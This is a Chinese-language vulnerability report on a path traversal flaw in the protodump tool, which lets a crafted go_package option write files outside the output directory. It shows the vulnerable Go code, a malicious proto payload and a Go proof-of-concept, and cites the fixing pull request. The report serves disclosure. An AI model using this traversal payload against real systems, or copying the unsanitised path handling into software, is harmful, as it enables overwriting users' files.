任意文件写入漏洞报告
漏洞概述
Protodump存在路径遍历漏洞,允许攻击者通过恶意构造的protobuf描述符在文件系统任意位置写入文件,绕过预期的输出目录限制。
漏洞分析
根本原因
漏洞源于对从protobuf描述符中提取的go_package选项验证不足。Filename()函数直接从protobuf描述符中获取go_package选项值,未进行任何清理:
1
2
3
4
5
6
7
8
9
|
func (pd *ProtoDefinition) Filename() string {
goPackage := pd.pb.GetOptions().GetGoPackage()
index := strings.Index(goPackage, ";")
if index == -1 {
return pd.descriptor.Path()
}
// BUG: 未对goPackage路径进行清理
return path.Join(goPackage[:index], path.Base(pd.descriptor.Path()))
}
|
漏洞利用
攻击者可创建包含恶意go_package选项的二进制文件:
1
2
3
4
5
6
7
8
9
|
syntax = "proto3";
package exploit;
// 恶意路径遍历
option go_package = "../../../tmp/pwned;exploit";
message MaliciousMessage {
string data = 1;
}
|
当用户在包含此恶意描述符的二进制文件上运行protodump时,工具会将提取的proto文件写入预期输出目录之外的位置,覆盖目标位置中任何同名的现有文件。
主函数中的漏洞代码
1
2
3
4
5
6
7
8
|
filename := definition.Filename()
if strings.HasSuffix(filename, ".proto") {
dir := path.Join(*output, path.Dir(filename))
final := path.Join(dir, path.Base(filename))
os.MkdirAll(dir, 0700)
os.WriteFile(final, []byte(definition.String()), 0700)
fmt.Printf("Wrote %s\n", final)
}
|
概念验证代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
package main
import (
"fmt"
"os"
"path"
"path/filepath"
"strings"
)
func main() {
// 获取输出目录的绝对路径
output, _ := filepath.Abs("./safe_output")
// 来自恶意proto的攻击者控制值
maliciousGoPackage := "../../../tmp/pwned;exploit"
protoName := "evil.proto"
fmt.Println("=== Protodump路径遍历漏洞PoC ===")
fmt.Println()
// 漏洞代码:复制protodump的逻辑
index := strings.Index(maliciousGoPackage, ";")
var filename string
if index == -1 {
filename = protoName
} else {
filename = path.Join(maliciousGoPackage[:index], protoName)
}
dir := path.Join(output, path.Dir(filename))
final := path.Join(dir, path.Base(filename))
finalAbs, _ := filepath.Abs(final)
fmt.Println("配置:")
fmt.Printf(" 预期输出: %s\n", output)
fmt.Printf(" 恶意输入: %s\n", maliciousGoPackage)
fmt.Println()
fmt.Println("路径计算:")
fmt.Printf(" 文件名: %s\n", filename)
fmt.Printf(" 最终路径: %s\n", finalAbs)
fmt.Println()
// 创建文件
os.MkdirAll(dir, 0755)
content := "syntax = \"proto3\";\n\npackage exploit;\n\nmessage Pwned { string data = 1; }\n"
os.WriteFile(final, []byte(content), 0644)
fmt.Println("结果:")
fmt.Printf(" 预期: %s/evil.proto\n", output)
fmt.Printf(" 实际: %s\n", finalAbs)
fmt.Println()
if !strings.HasPrefix(finalAbs, output) {
fmt.Println("漏洞确认:文件被写入预期目录之外")
}
}
|
影响
- 在用户机器上实现任意文件写入
- 可能覆盖系统关键文件
受影响版本
- 最新版本(commit 17ad807,2025年10月验证)
- 仓库:https://github.com/arkadiyt/protodump
- 安装命令:
go install github.com/arkadiyt/protodump/cmd/protodump@latest
修复状态
该漏洞已通过 https://github.com/arkadiyt/protodump/pull/16 修复。